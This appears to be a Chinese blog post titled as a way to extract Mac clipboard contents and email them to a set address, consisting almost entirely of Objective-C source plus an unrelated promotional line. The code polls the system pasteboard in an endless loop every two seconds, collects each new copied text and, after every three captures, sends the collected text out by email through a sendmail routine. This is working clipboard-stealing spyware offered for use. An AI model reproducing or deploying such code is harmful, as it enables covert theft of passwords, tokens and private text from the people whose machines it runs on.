MAC 下提取剪切板内容 发送到指定邮箱

清华大佬耗费三个月吐血整理的几百G的资源,免费分享!....>>>

//
//  main.m
//  test
//
//  Created by Developer on 3/11/15.
//  Copyright (c) 2015 Developer. All rights reserved.
//

#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#import "sendmail.h"


void pasteboradread();
void pasteboradread1();




int main(int argc, const char * argv[]) {
    @autoreleasepool {
        // insert code here...
        //  NSString *a = @"dddddddd";
        
        NSLog(@"Hello, World!\n");
        pasteboradread1();
    }
    return 0;
}

void pasteboradread1()
{
    NSPasteboard *pasteboard = [NSPasteboard generalPasteboard];
    NSString *plainText;
    //NSString *tempString = [NSString string];
    NSString *tempString;
    NSString *saveString=@"";
    char * string;
    int count = 0;
    //NSFileManager *tempfile = [NSFileManager defaultManager];
    //NSData *tempdata = [tempfile contentsAtPath:@"/tmp"];
    
    while(1){
        //是否能从剪切板提取
        if ([pasteboard canReadItemWithDataConformingToTypes:@[NSPasteboardTypeRTF]]) {
            //从剪切板提取文字
            plainText = [[pasteboard readObjectsForClasses:@[[NSString class]] options:nil]firstObject];
            //[tempfile createFileAtPath:@"/tmp/work.txt" contents:<#(NSData *)#> attributes:<#(NSDictionary *)#>]
            //是否
           if (![tempString isEqualTo:plainText]) {
                tempString = [NSString stringWithString:plainText];
               saveString = [saveString stringByAppendingString:tempString];
               NSLog(@"text:%@",tempString);
               count++;
               
               if (count == 3) {
                   string = [saveString UTF8String];
                printf("--------------------\n%s",string);
                   sendmail(string);
                   count = 0;
               }
            }
            sleep(2);
    
        }
    }
    
}